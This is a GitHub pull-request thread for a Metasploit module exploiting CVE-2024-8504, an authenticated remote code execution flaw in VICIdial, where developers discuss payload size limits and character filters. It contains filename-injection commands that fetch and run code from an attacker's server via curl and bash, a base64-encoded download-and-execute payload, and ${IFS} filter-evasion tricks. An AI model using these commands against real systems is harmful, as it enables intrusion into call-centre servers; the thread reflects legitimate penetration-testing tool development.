Add VICIdial Authenticated RCE module (CVE-2024-8504) #19456
Merged
Conversation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
|
Hello, during the development of this module, I'm facing an issue where I can't get a Meterpreter session to work. While simple commands like I've noticed several conditions:
Using the following lines: command = 'curl chocapikk.com'
payload_test = "echo -n #{Rex::Text.encode_base64(command)}|base64 -d|bash -"
malicious_filename = "\"& #{payload_test} &\""the payload should be base64 encoded or hex to have a valid file format. The However, with: malicious_filename = "1337$(#{payload_test})"the At this point, it's becoming a real challenge, and I'm completely stuck on this issue. The initial payload in the advisory is I'm completely out of ideas. |
|
Hello @Chocapikk, I'm setting up the VICIdial target to test both your modules, regarding the issue with the Meterpreter, from the message you wrote I didn't fully understood what is the issue but I may have some "ideas" that we can try:
|
Chocapikk
force-pushed
the
vicidial_rce
branch
from
7ea39a0 to
005dc49
Compare
|
Hi @dledda-r7, I have provided both working documentations in this PR and the one at #19453. For the RCE, the exploit works but requires two web servers—one for Also, I would like to stop the web server as soon as a connection is made, because it's a cron-based execution, and it keeps opening new sessions repeatedly. Any help with this would be appreciated! |
|
Hello @Chocapikk, OK let me re-setup the target as I saw you are testing on version |
|
I'm having some issue getting this working. Last request |
dledda-r7
requested review from
dledda-r7
and removed request for
dledda-r7
|
Hello I will debug it later, surprising because in my lab I never had this error |
jheysel-r7
reviewed
Sep 19, 2024
| def update_user_settings(target_uri, request_headers) | ||
| user_settings_body = { | ||
| 'ADD' => '4A', 'custom_fields_modify' => '0', 'user' => datastore['USERNAME'], 'DB' => '0', | ||
| 'pass' => datastore['PASSWORD'], 'force_change_password' => 'N', 'full_name' => 'KoreLogic', |
There was a problem hiding this comment.
Can the string KoreLogic be randomized? Also, are all these options required?
There was a problem hiding this comment.
Hi I forgot to modify it actually thanks.
For all the options I will have to try but yes there are probably some necessary ones. For example ADD is not modifiable it's a code to perform the action
jheysel-r7
reviewed
Sep 19, 2024
There was a problem hiding this comment.
As for you comment:
Also, I would like to stop the web server as soon as a connection is made, because it's a cron-based execution, and it keeps opening new sessions repeatedly. Any help with this would be appreciated!
I know there's size constraints in the payload but ideally you would add a sed command to the payload so that the payload would remove itself from the cron file. However if that is not possible you could have an on_new_session method that cleans up the cron job once the session is established. Best case scenario would be the cron job gets cleaned up regardless of whether or not a session is established.
| def insert_malicious_recording(request_headers, session_name, session_id, recording_extension) | ||
| uri = get_uri.gsub(%r{^https?://}, '').chomp('/') | ||
| random_filename = ".#{Rex::Text.rand_text_alphanumeric(rand(3..5))}" | ||
| malicious_filename = "$(curl$IFS-k$IFS@#{uri}$IFS-o$IFS#{random_filename}&&bash$IFS#{random_filename})" |
There was a problem hiding this comment.
You might be able to use the encoders we have in metasploit to solve this issue, we've recently added a base64 encoder for command payloads. If you list all the characters that aren't allowed in the payload as BadChars that might help as well.
There was a problem hiding this comment.
Hi, here's what it looks like using the following badchars:
'BadChars' => "'\"\\; ",
[*] Generated malicious command: $(echo${IFS}Y3VybCAtc28gLi9hbXpUdVJTUXdvIGh0dHA6Ly8xOTIuMTY4LjEuMzY6ODA4MC9Mb1BsbmpFcGVPZXhaTlZwcG42Y0FBOyBjaG1vZCAreCAuL2FtelR1UlNRd287IC4vYW16VHVSU1F3byAm|((command${IFS}-v${IFS}base64${IFS}>/dev/null${IFS}&&${IFS}(base64${IFS}--decode${IFS}||${IFS}base64${IFS}-d))${IFS}||${IFS}(command${IFS}-v${IFS}openssl${IFS}>/dev/null${IFS}&&${IFS}openssl${IFS}enc${IFS}-base64${IFS}-d))|sh)
The payload is much too long, this must pass the following condition
preg_replace("/\'|\"|\\\\|;/","",$filename);Here I have no solution other than using the current paylaod rather than playing with badchars.
I tried to play with MaxSize so as not to exceed 90-91 characters because that's the limit.
There was a problem hiding this comment.
I tried to play a bit with the encoders and I don't think is possible to pass directly the Fetch Payloads because at minimum is already pretty big.
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_FILENAME A
FETCH_FILENAME => A
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_URIPATH A
FETCH_URIPATH => A
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f
curl -so /tmp/A http://172.17.135.208:8080/A; chmod +x /tmp/A; /tmp/A &
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
If we consider we need to encode spaces with ${IFS} and replace probably the ; with && we are execeeding for sure 91 bytes.
There was a problem hiding this comment.
Given the constraints (mainly the 91 character limit) I think that the current solution is likely the best one in order to exploit this vulnerability. You're still establishing the session by using payload.encoded which is the main thing we like to keep consistent.
|
Hey @Chocapikk, I'm happy to try and help sort out the payload / encoding issues you're facing here. Although I've followed the installation steps in order to get a vulnerable version setup but am running into an issue.
Wondering if you've maybe seen this before in your testing or might have any idea where I might be going wrong? I've included my module output I've also printed the res.get_html_document (not containing MODIFY)
|
|
Hello @jheysel-r7, I’ve encountered this bug before, but I’m not sure why it’s happening. I’ve run it multiple times, and it worked before. I have to admit, this exploit isn't very stable. I’ll rebuild the lab from scratch and try to reproduce the issue(s). |
|
Hey @jheysel-r7 , I know why this is happening: Because you need to log in the first time on the vicidial instance and set up a new password first to "activate" all the features. |
About this bug @dledda-r7, I'm not sure what's happening, but I suspect that it depends on the IP or domain in the requests, depends on network configuration it may not work. For my lab i'm using a VM with Bridged network and it's working fine. |
|
Thanks for another great module @Chocapikk! Also thanks for pointing me to the last step of the setup instructions I had missed originally, much appreciated. After I completed that I was able to establish a sessions without issue. As I mentioned above in a separate comment, given the exploit constraints I think this is being exploited in the best way possible. Testing |
jheysel-r7
approved these changes
Sep 30, 2024
|
Thanks so much for the feedback @jheysel-r7, I really appreciate it! Glad you were able to get it working after completing the setup. I agree, given the constraints, this seems like the best way to exploit it. |
Release NotesThis adds a module to exploit CVE-2024-8504 an authenticated RCE in VICIdial |
jheysel-r7
added
the
rn-modules
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Hello Metasploit Team,
This
draftPR introduces the VICIdial Authenticated RCE module (CVE-2024-8504), based on the advisory from KoreLogic. I conducted some research to correct the original Python exploit, and it now works.Remaining tasks include finding the right payload to bypass badchars, randomizing requests, and finalizing RCE.The code will be reorganized into functions later, and documentation is not ready yet.